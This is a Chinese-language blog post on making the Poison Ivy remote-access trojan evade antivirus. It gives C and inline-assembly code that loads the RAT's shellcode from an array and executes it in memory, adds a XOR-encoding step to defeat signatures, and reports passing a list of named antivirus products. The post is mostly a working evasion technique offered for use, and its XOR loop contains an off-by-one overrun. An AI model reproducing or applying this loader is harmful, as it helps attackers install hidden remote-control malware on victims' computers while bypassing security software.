Poison Ivy远控另类免杀编程免杀

Poison Ivy是一款非常有名的远控软件,体积小,功能全,但是木秀于林,风必摧之。我下载了Poison Ivy2.3.2版,服务端在生成时立即被杀毒软件杀掉,试了好几种杀软,无一例外,百分百被杀。但Poison Ivy有一个其它远控没有的功能,就是在其生成服务端时可以选择PE或ShellCode两种格式。因此我想是否能够写个程序,专门用以运行生成的shellcode,以达到免杀服务端的目的。
首先按照服务端的生成步骤生成一个“C数组”格式的shellcode,然后打开VC++6.0,新建一个Win32 Application项目。项目代码中在主函数之前定义一个数组,将其值赋成开始生成的“C数组”的内容,程序主函数内的代码非常简单:

复制内容到剪贴板
代码:

_asm
{
        lea eax,code
        call eax
}

其中code为字符串数组变量名。_asm{ }是C中嵌入汇编代码的格式。Lea是地址传送指令,功能是将字符串数组code的地址传送到eax寄存器。然后通过Call命令调用,程序即运行了内存中的code代码。
或者采用“((void (*)(void)) &code)();”代码。该代码的作用是把code转换为一个参数为空,返回为空的函数指针并调用,相当于直接执行code变量在内存中的数据。我认为其中&code是取code的地址,它前面的括号((void (*)(void))是强制类型转换,转换的就是&code。(void(*)void)表示函数的返回类型为void,参数也为void。但为什么可以用“(void (*)(void)”来转换我也很迷惑,希望哪位大侠告知。
代码编写完成,运行看看效果
成功上线,功能正常。现在得看看免杀效果,我本机安装的是瑞星2010,自动防护和扫描杀毒都顺利通过,
继续用Symantec反病毒软件测试,发现用该方法生成的release版程序被杀,通过调整代码(就一句话也没什么可调的),最后发现将数组定义放到WinMain函数内即可免杀。
采用本文所述方法,可以顺利逃过卡巴斯基、NOD32、Mcafee、AntiVir、熊猫和趋势等主流杀毒软件的查杀。
但对于部分杀软还是无效,我估计可能是这些软件的启发式杀毒根据程序行为来判断的,我相信可以通过进一步的代码调整和变形来达到逃避这些杀软中部分查杀的目的。我分析整个免杀代码非常简单,能够调整更改的地方很少,因此我尝试对生成的“C数组格式的shellcode”进行变形,在程序运行过程中再将变形的数组解码为正确的Shellcode,然后再通过变量运行,希望能达到进一步免杀的目的。以下是数组异或还原的代码:

复制内容到剪贴板
代码:

unsigned char code[] = {0xaa, 0x74, 0x13, 0x7e, 0x3b, 0xcf, ……(省略)}
//code为异或FF后的shellcode数组
int i;
unsigned char code1[5747];   //shellcode数组长度为5747
for(i = 0;i<=5747;i++)
{  code1[i] = code[i]^0xFF;     //异或FF
}
_asm     //运行
{
lea eax,code1
call eax
}

运行生成的可执行文件,很快回连,一切正常。看看测免软的效果,又过了不少杀软。本文撰写和测试与发帖时间相距一段时间,其间各杀软的升级情况不得而知,可能免杀情况略有变化。不过本文旨在讨论免杀方法,在对于“毒药”远控没有源码的情况下采用寥寥几行代码却也达到了过主流杀软的效果。因此我觉得过杀软的思路非常重要,本文技术简单,大家还有什么好方法希望大家不吝赐教。

发表评论

您的电子邮箱地址不会被公开。